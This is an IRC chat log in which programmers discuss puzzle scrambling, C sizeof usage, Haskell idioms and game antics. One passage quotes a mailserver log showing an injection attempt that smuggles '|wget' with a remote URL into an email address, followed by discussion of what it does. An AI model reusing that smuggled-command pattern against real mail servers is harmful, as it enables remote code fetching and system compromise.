00:06:53 Ok, this scrambler is resulting in way too easy results 00:07:56 i think sliding blocks puzzles are solvable iff the permutation is even 00:09:43 For a 3x3, how many clicks should I be simulating? 00:10:27 fizzie: You wrote a BF compiler targeting LLVM? 00:10:48 ais523: You missed my wonderful idea for a null value 00:11:01 coppro: what was it? 00:11:50 coppro: You can't really call it a compiler, it's so utterly trivial. It's pretty much like the usual straightforward bf -> C translation, except that it's to LLVM's assembler. 00:12:04 fizzie: like the one in the LLVM examples? 00:12:07 I'm starting to think it's a bug in the code rather than a not-so-helpful randomizer 00:12:26 Sgeo: do a total scrambling, like with knuth's algorithm, but count the number of swaps done and if it is odd, do an extra one. i think. 00:12:28 ais523: A type system that takes intersection types up to the maximum, allowing a single value to actually have multiple types, each which is discrete and has its own data; a nullable Integer would then be a {Nil^Integer}; that is, a value of Integer or Nil type, but not both 00:12:46 coppro: that's what Haskell does, with Maybe 00:12:58 ais523: No, it's crazier than that 00:12:59 http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle 00:13:13 well, it's a case of disjoint unions 00:13:18 oerjan: it's not a case of swaps, IIRC 00:13:23 it's a case of pairs that are out-of-order 00:13:30 but I can't remember exactly how it works 00:13:40 meh' 00:13:48 coppro: Oh, there's one there? I didn't know. 00:14:13 fizzie: examples/BrainF in the main distrubution 00:14:20 ais523: um i assume those are just two equivalent ways of detecting whether a permutation is odd or even 00:14:41 oerjan: no, because you can swap a number with a blank space without problems, sometimes 00:15:01 ais523: the idea rose out of the fact that some structures are tough to represent accurately in code; do you know Magic: the Gathering? 00:15:08 ais523: erm i am assuming the blank space stays put here. i am talking about swaps of the other pieces. 00:15:33 coppro: yes, I do; I even played it competitively for a while 00:15:33 I think this is good enough. There is a bug stopping the randomizer from starting when the puzzle first starts 00:15:35 I'll have to sneak a peek when I don't have a cat obstructing the computer. 00:15:40 but got bored when time spiral rotated out 00:16:46 ais523: ah, good. Then you'll understand the thinking that led me to this. If you're representing a Magic card, not all information is applicable to all types of Magic card. For instance, only creatures have power and toughness, and only creatures have creature types, only lands have land types, and so on 00:17:08 Ok, this is "too easy" territory 00:17:15 coppro: that line's getting more and more blurred as time goes on, but I know what you mean 00:18:05 ais523: Yeah, and that's the tricky bit. There are cards with multiple types, so a creature land should have both land types and creature types. It turns out this is really difficult to represent nicely in a programming language 00:18:36 no, no it isn't 00:18:38 -!- Asztal has quit (Ping timeout: 260 seconds). 00:18:46 how would you do it? 00:18:46 object-oriented with mixins? Perl6-style, with roles? 00:18:55 lua-style, and just use the fields you need? 00:19:08 -!- adu has joined. 00:19:14 really, it's trivial in any sane OO system, except ones that specifically try to stop you, like Java's and Python's 00:19:34 those provide interfaces, but not data 00:19:52 coppro: those create classes; the data would be in an instantiation of those 00:20:04 the class may or may not itself be an object, depending on the language 00:20:18 (it wouldn't be in Perl6 or C++, it would be in Lua, JS and Feather) 00:20:25 Stop you from doing what? 00:20:26 yeah 00:20:37 Sgeo: implementing mixins, etc 00:20:54 Ruby has mixins >.> 00:20:55 perl6/Moose has roles, C++ has multiple inheritance 00:21:17 and there'll probably be some way to do that sort of thing in Feather, although single inheritance is easier there than multipl 00:21:20 *multiple 00:21:23 none of that does quite what I want, it's sort of hard to express 00:21:45 coppro: it's powerful enough to represent a M:tG card, though, which is what you originally wanted 00:21:46 the closest I can think of is C++'s virtual inheritance, but that's a horrible mess 00:22:04 ais523: A C program is powerful enough; that doesn't make it easy 00:22:24 coppro: powerful enough without massively distorting what you're doing, type-wise or code-wise 00:23:04 ais523: For instance, in C++, you'd have to have a Creature type and a Land type virtually derived from Card, and then have a CreatureLand type derived from both; this is hideous 00:23:21 coppro: C++ is generally hideous 00:23:27 agreed 00:23:44 in Perl6, you'd have a class Card, and an instance of it with Creature and Land roles applied 00:24:17 Perl6's roles are closest to what I want, but not quite there yet 00:25:21 since they exist apart from classes 00:25:41 you can create classes with roles in too, if you want to 00:25:44 The scramber seems to be unwilling to touch the bottom row 00:25:51 That's probably why these results are too easyt 00:25:54 yes, but you can't create something that is both a role and a class 00:25:59 but then you wouldn't be able to write fun code like "my $file_not_found = true but False;" 00:27:26 heh 00:28:23 true but False is like true in every respect, except for being false 00:28:26 hmm, you can do that in Feather too 00:28:55 except that you'd have to decide whether the value itself was truth or falsity 00:32:10 What happens if I swap two random pieces an even number of times? 00:32:10 yeah, my imaginary system would have such similarities 00:33:11 except that truthiness and falsehood would not be arole 00:33:31 Sgeo: should work 00:34:16 Would it result in more difficult puzzles than simulating clicks n times seem to? 00:34:54 "The invariant is the parity of permutations of all 16 squares (15 pieces plus empty square) plus the parity of the taxicab distance moved by the empty square." 00:35:28 (should be the same for all sizes m*n with m,n>=2, by the rest of the section 00:35:31 ) 00:35:39 * Sgeo is already lost 00:35:57 parity of permutations is whether you make an even or odd number of swaps 00:36:22 the parity of the taxicab distance is whether x+y is odd or even 00:36:50 "For the 15-puzzle, lengths of optimal solutions range from 0 to 80 moves; the 8-puzzle can be solved in 31 moves or fewer (integer sequence A087725)." 00:37:43 ais523: Think of it as roles, except every class is a role, I think 00:37:45 so if you were doing it by clicks, you'd need at least on the order of 31 clicks to get full difficulty, i take 00:38:16 * Sgeo tries it 00:38:49 * Sgeo listens to the Elfen Lied theme "Lilium" 00:39:48 31 is too many for the application to process without being able to get events. Too long without aw_wait(), and it disconnects 00:40:08 I _think_ 00:40:34 Well, I know that's the case that that can be an issue, but maybe something else is going on instead. Need to look up the error 00:40:46 well, do a fisher-yates shuffle then 00:41:07 Oh, it's doing too many things at once 00:41:19 I'll slow it down and see what happens 00:41:37 Actually, it _still_ resulted in a too easy puzzle 00:41:59 maybe the 8-puzzle simply is too small to _be_ hard 00:42:24 oerjan, hard for _me_ in particular 00:42:39 It shouldn't be a trivial 3 or 4 clicks away 00:43:15 if you are doing random clicks, maybe most of them are forbidden moves? 00:43:20 so no effect 00:43:32 No. It's set up to do only good moves 00:43:38 Random good moves 00:43:46 -!- ais523 has quit (Remote host closed the connection). 00:43:53 But there's currently nothing blocking it from clicking, then reversing what it just did 00:43:56 Maybe I should try thatr 00:44:01 right 00:51:57 * Sgeo also gives it some breathing room 00:58:02 The breathing room I gave it means you can actually watch the scrambling take place 00:58:05 * Sgeo needs to go soon 01:05:20 -!- Tritonio_GR has quit (Quit: Leaving.). 01:12:51 * Sgeo still gets occasional too-easy results 01:14:21 * Sgeo still needs to go soon, and has no time to think about it 01:15:28 I still don't get how you'd use fisher-yates to scramble something like this. It's a 2-dimesonal list 01:16:17 um you don't know how to treat a 2-dimensional list as 1-dimensional for scrambling purposes? 01:16:44 When you put it like that, I can figure it out >.> 01:17:47 Actually, I have code that I think does that for normal lists 01:18:30 you need to keep track of the parity though 01:18:33 Actually, not quite 01:18:55 Yeah, how do I do that? 01:19:46 if you are not swapping the blank, then it's just a matter of noting whenever you swap two items 01:19:59 (the blank needs special treatment, apparently) 01:20:23 g2g 01:37:19 -!- Oranjer has left (?). 01:42:27 -!- augur has quit (Ping timeout: 258 seconds). 02:09:34 -!- augur has joined. 03:39:49 freefall XD 03:44:11 XD 03:46:50 XD 04:26:20 -!- coppro has quit (Ping timeout: 245 seconds). 04:27:43 X and D 04:48:09 -!- oerjan has quit (Quit: Good night). 04:49:15 -!- coppro has joined. 04:56:48 someone save me 04:56:52 I'm reading /. comments 04:56:59 on global warming 05:38:18 -!- MizardX has quit (Ping timeout: 260 seconds). 05:38:50 -!- augur has quit (Ping timeout: 245 seconds). 05:41:42 -!- gigo has quit (Ping timeout: 276 seconds). 05:43:28 -!- bsmntbombdood has joined. 06:19:00 -!- augur has joined. 06:27:15 -!- MigoMipo has joined. 06:29:59 -!- MigoMipo has quit (Remote host closed the connection). 07:06:20 -!- tombom has joined. 07:20:05 -!- FireFly has joined. 07:32:54 -!- jcp has quit (Quit: I will do anything (almost) for a new router.). 07:51:14 -!- tombom has quit (Quit: Leaving). 07:55:02 -!- cal153 has quit. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:03:12 -!- FireFly has quit (Remote host closed the connection). 09:01:49 -!- adu has quit (Quit: adu). 09:11:54 -!- adam_d has joined. 10:43:01 -!- adam_d has quit (Ping timeout: 264 seconds). 11:26:37 -!- ais523 has joined. 11:35:41 -!- oerjan has joined. 11:57:35 -!- oerjan has quit (Quit: Reboot). 11:59:06 -!- pineapple has quit (Read error: Operation timed out). 12:07:29 -!- Asztal has joined. 12:18:26 -!- Tritonio_GR has joined. 12:23:21 -!- kar8nga has joined. 12:27:45 -!- lereah_ has joined. 13:00:03 -!- hiato has joined. 13:21:27 -!- adam_d has joined. 13:35:19 -!- sebbu2 has joined. 13:38:50 -!- sebbu has quit (Ping timeout: 276 seconds). 13:38:50 -!- sebbu2 has changed nick to sebbu. 13:58:59 submitted 578 milliseconds ago 13:59:07 is that an in-joke if you happen to load the page right after a submission? 13:59:12 it seems rather ridiculously precise 14:00:01 -!- adam_d has quit (Ping timeout: 252 seconds). 14:12:10 heh 14:12:32 ais523, more likely just using a generic time span formatting function 14:12:43 maybe 14:25:41 -!- ais523 has quit (Remote host closed the connection). 15:06:20 -!- FireFly has joined. 15:32:53 -!- adam_d has joined. 15:33:26 -!- ais523 has joined. 15:34:48 -!- hiato has quit (Quit: Lightning storm). 15:35:43 -!- augur has quit (Ping timeout: 252 seconds). 15:51:14 ais523, there? I'm having some problems understanding some C code I have written. To begin with: all C compilers seem to accept it, but a static analyser ("sparse", developed by linux kernel developers, but useful for userland apps too) complains about it. And I have to agree with it. 15:51:16 list = (ipList*)realloc(*me, sizeof(ipList) + sizeof(instructionPointer[(*me)->size + ALLOCCHUNKSIZE])); 15:51:18 is the line 15:51:30 hmm, let me look 15:51:31 it says "cannot size expression" 15:51:40 and that code does seem to use sizeof() strangely 15:51:41 sizeof an array element looks really weird 15:51:48 assuming instructionPointer is an array there 15:52:00 why wouldn't you just write sizeof(*instructionPointer)? 15:52:04 -!- BeholdMyGlory has joined. 15:52:09 I'm trying to find where instructionPointer is 15:52:14 OTOH, that makes more sense if instructionPointer is a typedef 15:52:28 in which case, it would be valid in C99 but not C89 15:52:32 ais523, it *is* a typedef 15:52:39 because you can take the size of a hypothetical VLA, but only if the lang supports VLAs 15:52:41 but it still doesn't make much sense 15:52:50 aha 15:53:27 also, casting the return value of realloc just masks bugs, by getting compilers to shut up if you use the wrong type (for realloc) rather than complaining 15:53:33 you only do it in C++ 15:53:39 ais523, that iplist that I realloc is a struct with a "dynamic" array element at the end 15:53:52 (C99 introduced that) 15:54:03 but I'm still not quite sure what I'm trying to do there 15:54:06 AnMaster: yep, and in C99 the flexible element counts 0 towards the size 15:54:11 ais523, indeed 15:54:18 but why the sizeof of an array!? 15:54:36 AnMaster: because, the end of the struct has to be the right size 15:54:43 true 15:54:58 but why not sizeof type multiplied with number of elements? 15:55:23 the C89 equivalent would be list = (ipList*)realloc(*me, sizeof ipList + ((*me)->size + ALLOCCHUNKSIZE) * sizeof (instructionPointer))); 15:55:35 mmm 15:55:43 sizeof type * number of elements is probably more portable 15:55:53 although in C89, you'd have to use the struct hack rather than relying on a flexible array member 15:56:46 I don't care about C89 compat though. There are enough large-enough-subset-of-C99-at-least compilers out there 15:57:31 writing that line C89-style would be quite a bit /clearer/, though 15:57:37 (gcc, icc, clang, open64 (though that one iirc reuses code from the gcc frontend), ...) 15:57:39 hypothetical VLAs are just confusing to read 15:57:46 true 15:57:52 ais523, what about padding? 15:58:11 AnMaster: arrays aren't padded, and struct padding is taken into account in the first sizeof 15:58:17 hm true 15:58:49 ais523, now I wonder if, true to gcc's usual stupidity, it will in fact create and then discard such a VLA there 15:59:18 it's unlikely, it would probably be noticed by the backend even if the frontend didn't catch it 15:59:27 hopefully 15:59:41 dead code elimination's impossible to do perfectly in theory, but dead variable elimination is noticed by the SSA stage 15:59:47 and even if it wasn't, would be noticed in register allocation 16:00:02 although, who knows what contortions gcc goes through to make VLAs work 16:00:14 ais523, I think they are done with alloca() 16:00:15 iirc 16:00:33 no, alloca and VLAs work differently to each other 16:00:40 in fact, there's a big warning that they don't mix somewher 16:00:43 *somewhere 16:00:58 as they both use different notions of scope, and processors don't have the INTERCAL thing where scopes are pretty much independent 16:02:27 haha 16:06:08 hm it seems sparse dislike VLAs completely 16:07:20 if it's designed for the kernel, I'm not surprised 16:07:37 ais523, It used to not error out on them though 16:07:47 -!- hiato has joined. 16:07:53 * AnMaster finds it funny that it warns about using 0 as NULL 16:08:59 I like the unadorned 0s more than NULL personally. 16:09:51 fizzie, I actually prefer using NULL (makes it clear it is a pointer, easier to read the code), but I'm not going to change this instance since it is in output generated by gperf 16:11:45 hah, it warns "warning: potentially expensive pointer subtraction" when you substract two pointers if the types of those pointers are not a power of two 16:12:42 And yes, I'd write count*sizeof(element) up there, that's the usual thing in array-mallocs and so on. 16:13:38 true 16:14:27 -!- augur has joined. 16:14:37 Recently seen in mailserver logs: someone tried to send email to "root+:|wget http://fortunes.in/x1x.php@zem.fi". 16:15:36 uhu 16:15:45 +:| ? 16:16:17 looks like a weird smiley. What sort of special meanings could those be thought to have? 16:16:53 + is reasonably common as user+ext@domain, to let users create "sub-addresses" freely. 16:17:17 and the : ? 16:17:47 And of course |foo runs foo in a shell in quite many contexts. The : I'm not sure of. 16:18:07 mhm 16:18:33 I'm sure it does something special somewhere, though, otherwise they wouldn't bother trying. 16:18:42 true 16:18:54 fizzie, sure it didn't work on your system? ;) 16:19:44 Postfix logs at least just had an "invalid address extension" error message. 16:22:58 mhm 16:26:27 What it is even trying to pipe to wget? Presumably it intends to upload something sensitive (or clog something with pipe)... 16:27:57 or download something? 16:28:18 What does wget even do with stdin? 16:29:17 maybe there isn't a way to do whatever it is without piping? Or the | doesn't mean pipe in this case 16:29:28 Yeah, maybe it is trying to download x1x.php... 16:30:03 I don't recommend doing it, who knows what it is 16:31:17 Maybe try grabbing that file for analysis? 16:31:19 -!- MizardX has joined. 16:32:37 Ilari, I'm not very interested in it really, and I don't want to run into problems if it is, for example, exploiting a bug in wget. 16:32:59 and I don't have any virtual machines handy atm 16:33:24 AnMaster: Use telnet to send request and record the stream? 16:34:17 AnMaster: Or netcat... 16:34:34 why don't you do it? ;P 16:40:45 I don't know if it requires some headers, but ncing gets '4xxx0' (chunked encoding). The headers don't seem to contain anything special... 16:42:15 mhm 16:42:36 Ilari, no binary data that isn't visible when output to terminal? 16:43:17 Ilari, also I hope you changed the bit after @ 16:44:27 I dropped it as its presumably not part of URL. 16:44:36 mhm 16:44:55 -!- adam_d_ has joined. 16:44:56 Ilari, you are probably correct there. 16:45:35 Attempt to "bug" the mail? I dumped the stream as hexadecimal. All characters are either ascii printable, CR or LF. 16:48:06 fizzie: If its indeed bugged, you may get some extra spam to that account. Sorry. :-) 16:48:13 -!- adam_d has quit (Ping timeout: 258 seconds). 16:51:04 fizzie: But hey, its root@, so it should aready be extra-roasty with spam. :-> 16:58:20 -!- kar8nga has quit (Ping timeout: 276 seconds). 16:59:53 -!- tombom has joined. 17:03:02 -!- jcp has joined. 17:11:46 -!- lereah_ has quit (Remote host closed the connection). 17:31:27 -!- fax has joined. 17:37:31 -!- adam_d_ has quit (Ping timeout: 260 seconds). 18:27:39 -!- Tritonio_GR has quit (Quit: Leaving.). 18:34:50 -!- augur has quit (Read error: Operation timed out). 18:35:38 -!- augur has joined. 18:41:11 -!- ehirdiphone has joined. 18:41:31 Wowz. 18:42:39 hhi! 18:45:44 ehirdiphone 18:47:35 Yyyyyo 18:47:38 suup 18:47:45 everyone has everything, so no one wants anything 18:47:49 In the I 18:47:52 everyone has everyone so that no one has no one! 18:48:02 inner circle of hell 18:48:04 We're not too stupid and we're not too bright, to be a gamma is to be just right! 18:48:10 I speaketh 18:51:58 ehirdiphone: take some soma 18:52:37 this channel sucks. 18:52:40 * lament hangs himself 18:52:53 lament: Please do! 18:53:14 lament, maybe you should go to the reconditioning center! 18:53:45 too late, i'm dead! 18:53:48 Maybe you should stop being so fucking cheerful! 18:53:52 was and will make me ill, I take a gram and there I am! 18:53:56 fax that is 18:54:50 I am, after all, in the prescense of Dark forces. 18:55:02 ehirdiphone - you've not read brave new world? 18:56:32 I am joking of course 18:56:55 — but it is not the perfect time when mine is so limited :P 18:57:06 huh? 18:58:31 I am in the Realm of hell — you know; There. 18:59:04 ehirdiphone that's why I was referencing brave new world.. seems to have been totally lost on you thouhg 19:00:16 bbl 19:01:30 -!- kar8nga has joined. 19:09:14 b 19:13:31 -!- jcp has quit (Remote host closed the connection). 19:23:12 Nineteen Eighty-Four would be more apropos. 19:24:29 :( 19:29:39 Well, it is true, as better as Huxley's dystopia was. 19:29:57 brave new world is a dystopia? 19:31:00 You didn't notice? :£ 19:31:04 *:) 19:31:25 seemed like utopia to me... 19:31:54 You would like to live there? 19:32:12 what's that to do with anything? 19:32:38 I suppose I could grant utopia and dystopia as different forms of the same thing, the former more insidious. 19:32:46 -!- charlls has joined. 19:32:50 But that isn't the common use. 19:33:04 well how is it a dystopia? 19:33:20 "It Sucks." 19:33:27 how does it suck? 19:33:46 Well, that's mere taste. 19:34:20 ok so you think it's a dystopia and i don't, what's the problem 19:34:40 hello 19:34:53 lament: Nothing. 19:34:58 k 19:35:16 fax: Jhellok 19:35:22 it's obviously a dystopia :| 19:35:40 how so? 19:35:45 lament is crazy though :) 19:35:52 he just likes the idea of lots of drugs 19:36:01 what makes it a dystopia? 19:36:04 aren't people happy? 19:36:08 no 19:36:15 yes they are 19:36:23 On a base level 19:36:28 Intelevtually? 19:36:31 lec 19:36:31 that wasn't even a question. that was a statement, disguised as a question. 19:37:22 "RHETORIC" ability unlocked! 19:37:29 hehe 19:37:31 Hi ehirdiphone 19:39:00 * Sgeo is considering doing some Google Summer of Code stuff 19:39:26 I hear it pays quite handily. 19:39:46 it does 19:39:53 btw nick 19:39:59 I hate summer of code 19:40:13 fax, why? 19:40:33 I did lots of work on something that happened to be a summer of code project and this idiot just used it for a shitty version which he got paid for 19:42:12 death is perfect death is fun, death is good for everyone. 19:42:44 coppro: Lazy 19:43:04 fair enough 19:43:18 did you read the link I sent you (you too, Sgeo)? It's vital to confusing Agora 19:43:32 Oh? What link? 19:43:54 Um, I think I skimmed it. Either that, or assumed that it was just a CFJ 19:44:04 the pastebin 19:44:08 I have not checked email here. 19:44:17 Unit, remember. 19:44:21 iPhone. 19:44:23 oh, right 19:44:30 ok, do it when you get home or something 19:44:37 I just need to make sure every Agoran player clicks that link 19:45:05 All right — tomorrow then, or if I'm sleepy the day after. 19:45:19 coppro: Then I am wary! 19:45:27 And so will be ais. 19:45:47 ais has read it 19:46:30 Oh, also: I will be here on Monday too — not here here but not at here, the unit. 19:47:19 coppro: Tell me what it says: and if I approve of the antics I will visit the page. 19:47:58 ehirdiphone: it's public forum antics. 19:48:05 err, public message antics 19:48:20 That is rather less precise than I desire. 19:48:20 http://paste.debian.net/66733/ 19:48:40 Nope; not that easily. Paste it in /msg? 19:48:59 won't work 19:49:08 at least, I don't want to confuse things even further 19:49:16 even I have limits 19:49:24 Then reword it. 19:50:05 -!- kar8nga has quit (Remote host closed the connection). 19:50:44 just visit it on the weekend or something 19:51:01 Oh, hell; Agora is none of my business. I haven't the time to play it. I should click. 19:51:09 But you are being evasive. 19:51:10 -!- charlesq__ has joined. 19:51:29 -!- charlesq__ has quit (Client Quit). 19:51:35 -!- charlls has quit (Read error: Connection reset by peer). 19:51:38 ehirdiphone, the antics are of whether a message linked to by something that's a public message is a public message 19:51:41 Or something like that 19:51:42 -!- charlls has joined. 19:51:59 yeah 19:52:03 What happens in the pasted message? 19:52:10 I try to make the paste a public message 19:52:11 coppro makes a proposal 19:52:14 and submit a proposal 19:52:27 the rest of the antics are in the message that linked the proposal, but that one's definitely public 19:52:32 Which is withdrawn in a known-to-be-public area 19:52:41 Okay; link me. 19:52:52 >http://paste.debian.net/66733/ 19:53:00 (it also contains a rather lame attempt at paradox) 19:53:33 Visited. 19:53:56 ok, thanks 19:54:12 Man, everyone here is crazy. 19:54:18 yes 19:54:30 — here, not #esoteric 19:54:55 oh 19:55:44 I am not allowed to be using the Internet incidentally. It's Health And Safety Policy — not that anyone has noticed. 19:56:53 fun 19:57:12 I got to do something amusing today 19:57:52 a tech support guy was coming in, and told me that he needed someone 18 in the house for legal reasons. I rescheduled the appointment to next week, hopefully it'll be the same guy :) 19:59:21 * Sgeo watches himself waste time while he should be working 20:00:14 ehirdiphone don't get yourself in trouble 20:01:14 Nah 20:01:17 The proposed traits feature would bring "horizontal reuse" to the language; think of traits as a PHPish answer to multiple inheritance or Java's interfaces. 20:01:19 Lollll 20:02:20 whee 20:03:46 Is there a point to Interfaces in a dynamically typed language? 20:03:55 It's a smalltalk feature 20:04:08 Bye; gtg 20:04:11 -!- ehirdiphone has quit (Quit: Get Colloquy for iPhone! http://mobile.colloquy.info). 20:04:11 bye 20:08:52 -!- cal153 has joined. 20:14:15 happy australian mailing list reminders day! 20:14:22 lament they don't have poetry in brave new world 20:29:10 I'm not in Australia, and I got a reminder for the backup lists 20:29:17 Or is the backup list in Austrailia? 20:29:19 -!- rapido has joined. 20:29:23 Oh, yes 20:39:55 -!- oerjan has joined. 20:54:58 fax: poetry sucks 20:56:46 if you want big bucks 21:01:24 -!- Tritonio_GR has joined. 21:05:37 -!- augur has quit (Ping timeout: 240 seconds). 21:08:41 you should drive trucks??? 21:10:33 * Sgeo should write some Haskell.. thingy for FLogic 21:10:48 and pretend to be rubber ducks 21:11:31 -!- hiato has quit (Quit: underflow). 21:12:56 what's flogic 21:13:06 data FValue = Frue | Talse | Floyd deriving (Show) 21:13:12 Floyd?? 21:13:12 fax, ftp://ftp.nvg.ntnu.no/pub/frc/29 21:13:29 fax, oerjan should know 21:13:37 oh that one 21:14:29 http://i.imgur.com/ZIyam.png 21:16:03 that's clearly cyber-bullying in the picture 21:16:10 from causing too many headdesks 21:16:15 :D 21:16:58 wow, I need to write another fantasy rule 21:18:29 -!- augur has joined. 21:18:59 is this whole channel just a big game of "agora" and I'm the dice? 21:19:07 It's possible to right fully-imperitive code in Haskell, right? 21:19:11 yes 21:19:35 What constructs of imperitive languages would need to be written by the programmer though? when -> if and forM_ -> foreach 21:20:02 How would you do a while? 21:20:49 bool true false True = true 21:20:55 bool true false False = false 21:21:44 That would be an awkward to use if/else I think 21:21:44 while condition body = condition >>= bool (body >> while body) (return ()) 21:21:50 no 21:21:53 if/then/else is awkward 21:21:55 bool is not 21:22:23 the whole idea of if/then/else is to just to be more 'familiar' or something stupid thing like that, it is a mistake to have added this to haskell 21:22:24 * Sgeo likes the thought of being able to use Haskell for all his imperitive needs 21:22:58 while b x = b >>= flip when (x >> while b x) 21:23:06 it's called a fold by the way 21:24:47 * Sgeo is already confused 21:25:37 FValue has fewer than 9 possibilities, so it fails 21:26:00 while b x = do cond <- b; when cond (do x; while b x) 21:26:09 Sgeo about what 21:26:22 while condition body = do c <- condition; if c then do body; while condition body else return () 21:26:46 -!- Azstal has joined. 21:26:47 Ok, those make more sense to me 21:26:53 than what 21:27:00 they're all equivalent of course 21:27:11 I don't get why people rewrote them 21:27:49 I had a mistake in mine 21:27:52 fax: because if _is_ familiar and i thought it _would_ help Sgeo to see while written using it. 21:28:02 while condition body = condition >>= bool (body >> while condition body) (return ()) 21:28:16 I really hate if/then/else it's so out of place 21:28:53 -!- Asztal has quit (Ping timeout: 265 seconds). 21:28:55 -!- Azstal has changed nick to Asztal. 21:29:27 Is there a point to forM_/mapM_ outside of the IO and ST monads? 21:29:33 and State 21:29:52 Writer 21:29:57 RWS 21:30:00 RWS? 21:30:19 newtype RWS r w s a = RWS {runRWS :: r -> s -> (a, s, w)} 21:30:24 Maybe if a Nothing occurs in a forM_ in the Maybe monad, the whole thing is nothing 21:30:24 ? 21:30:29 Or am I mistaken? 21:30:58 Sgeo: all except Reader, i think (and that one only because it cannot pass side effects _out_) 21:31:02 Yeah, I suppose it could be used like that 21:31:09 oh Maybe too i guess 21:31:13 Either, of course 21:31:20 Maybe a bit more usefully than Maybe 21:31:30 What about []? 21:32:11 Well, you get back a list of () 21:32:13 Sgeo: oh and yeah Maybe forM_ can at least distinguish between Nothing and Just () for the reason you said 21:33:29 i guess forM_ for [] is useless... 21:33:52 well you get a list of ()'s, don't you 21:34:00 You can apply length to the result and get a complicatedly-calculated integer 21:34:47 length . mapM_ (\x -> [x,x]) is equivalent to (^2) . length 21:34:48 however, the same can be done with Writer (Sum Integer) iirc 21:34:49 I think 21:36:07 "If an FStatement ends with the same three words 21:36:07 as another FStatement, then either both are 21:36:07 Floyd, or one has the FValue Talse and the 21:36:07 other has the FValue Frue." 21:36:11 That's mind-breaking 21:36:33 Er, (2^), not (^2), obviously 21:38:34 -!- Oranjer has joined. 21:51:07 Can I make an operator (+) in Haskell? 21:51:15 ((+)) = --whatever? 21:51:28 well (+) is already defined 21:52:15 you can (1) hide the usual definition and replace with your own, or (2) implement the Num class in which (+) is a method for your own type 21:52:25 But I'm asking for ((+)) 21:52:31 oh 21:52:40 Frue (+) Talse 21:52:43 For instance 21:52:45 no 21:53:03 no, (+) always means the function underlying the operator + 21:53:20 (or \x y -> x+y) 21:53:54 put another way, ( and ) are not legal operator characters 21:53:59 Darn 21:54:14 Maybe I could call it <+> 21:54:30 yeah that's a legal operator 21:54:44 in fact i think it's also defined somewhere 21:54:49 a legal operator named sue 21:54:49 -!- Sgeo has set topic: !. 21:54:51 GAH 21:54:52 Oops 21:54:58 -!- fax has set topic: < Sgeo> GAH. 21:55:15 -!- lament has set topic: This topic is correct today, but will be incorrect tomorrow.. 21:55:17 WTF did I press in XChat to cause that? 21:55:34 -!- Deewiant has set topic: this topic is incorrect today but will be correct tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D. 21:55:46 Control.Arrow (<+>) :: ArrowPlus a => a b c -> a b c -> a b c 21:56:28 hoogle lists another one related to pretty printing 21:56:33 Deewiant: Actually, that topic will never be correct. 21:56:37 -!- rapido has quit (Quit: rapido). 21:56:53 Gregor: It's not mine, it's the previous one. 21:57:09 Previous-poster: Actually, that topic will never be correct. 21:57:16 What derivings should I make for FValues? 21:57:18 Gregor: You want ais523 21:57:20 Show, but anythign else? 21:57:25 ais523: Actually, that topic will never be correct. 21:57:39 Gregor: it was paradoxical the day it was created 21:57:43 -!- lament has set topic: this topic is correct today but will be incorrect tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D. 21:57:59 -!- lament has set topic: this topic is correct today but will be incorrect tomorrow | last topic change: today | http://tunes.org/~nef/logs/esoteric/?C=M;O=D. 21:58:09 I think, maybe not 21:58:14 Actually, === and (+) were defined in an INVALID rule 21:58:16 So yeah 21:58:18 -!- oerjan has set topic: This topic was incorrect yesterday but is correct today | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D. 21:58:23 I'm willing to believe it was just wrong 22:14:56 * Sgeo hopes he got the recursive logic right 22:15:13 ? 22:15:42 To find the positions of a certain value in a list 22:16:04 -_- 22:16:19 all the positions or just the first one? 22:16:22 http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24560#a24560 22:16:23 All 22:17:03 -!- cal153 has quit (Ping timeout: 260 seconds). 22:17:03 because elemIndex already exists for finding the first one 22:17:59 Sgeo: x:xs needs parentheses 22:18:21 ty 22:18:57 The more obvious way, without using accumulators, is worse because it's not tail recursive? 22:19:34 no! 22:19:42 in fact the opposite, in haskell 22:20:24 So I shouldn't have bothered spraining my brain like that? 22:20:25 grr 22:20:27 *shrug* 22:20:46 because of the way lazy datastructures work, it is best to produce the initial cons cell as soon as possible 22:22:08 oh, oops 22:22:10 I know n+k is considered "wrong", but is matching on number without using the +k ok? 22:22:31 Sgeo: actually your function also exists, it's called elemIndices 22:22:48 * Sgeo growls 22:22:49 what are the axioms of circular logic? 22:23:00 In general, what you want in Haskell is to try and *produce* data as quickly as possible. For instance, you would prefer to make the cons cell as quickly as possible. 22:23:11 fax: the axioms of circular logic are the axioms of circular logic 22:23:19 oh lol 22:23:49 But you'd absolutely hate to be doing something similar with (+), because (+) doesn't do that... 22:24:10 Sgeo: like case n of 1 -> ...; 2 -> ... ? i don't think that's considered wrong 22:24:39 while n+k patterns are either removed or deprecated in Haskell 2010 iirc 22:28:33 oerjan: Removed. 22:28:39 Completely and utterly removed. 22:28:53 * Sgeo thinks absvalue might be the wrong way to deal with negative modulos 22:29:12 Sgeo: why so? 22:29:24 oh negative _modulos_ 22:29:35 what pisses me off is removing stuff like n+k but they leave if/then/else 22:29:46 What should -1 % 3 turn into? 22:29:58 I don't think 1 is the right answer 22:30:01 you can't have negative percentages 22:30:07 it's only between 0 and 100 22:30:11 Sgeo: oh right 22:30:13 I'm using % as the modulo operator 22:30:33 % is the fraction constructor in haskell btw 22:30:59 the modulo operators are mod and rem (two variations with different behavior for negative numbers) 22:31:00 -_- 22:31:08 and they both SUCK 22:31:21 lament: what? 22:31:28 they're integer-only 22:31:32 or integral-only 22:31:34 oh that 22:31:57 there's an fmod in some module iirc 22:32:11 -1 `rem` 3 == -1 22:32:21 it wasn't effectively implemented though when i heard about it 22:32:28 should be in the prelude though 22:32:28 -!- augur has quit (Remote host closed the connection). 22:32:32 * Sgeo goes insane 22:32:34 Sgeo: note that you need parentheses around the -1 22:32:35 and probably called mod 22:32:40 ... 22:32:54 - has precedence the same as unary and binary 22:33:01 So mod is what I wanted after all 22:33:05 -!- augur has joined. 22:33:48 -!- augur has quit (Read error: Connection reset by peer). 22:34:13 The original FOperations were called FLeft and FRight. Should I call the Haskell versions fleft and fright, or fLeft and fRight? 22:34:14 -!- augur has joined. 22:34:31 the latter is the usual style 22:35:51 it also has the bonus of not sounding scary 22:36:29 lol 22:37:59 -!- tombom has quit (Quit: Leaving). 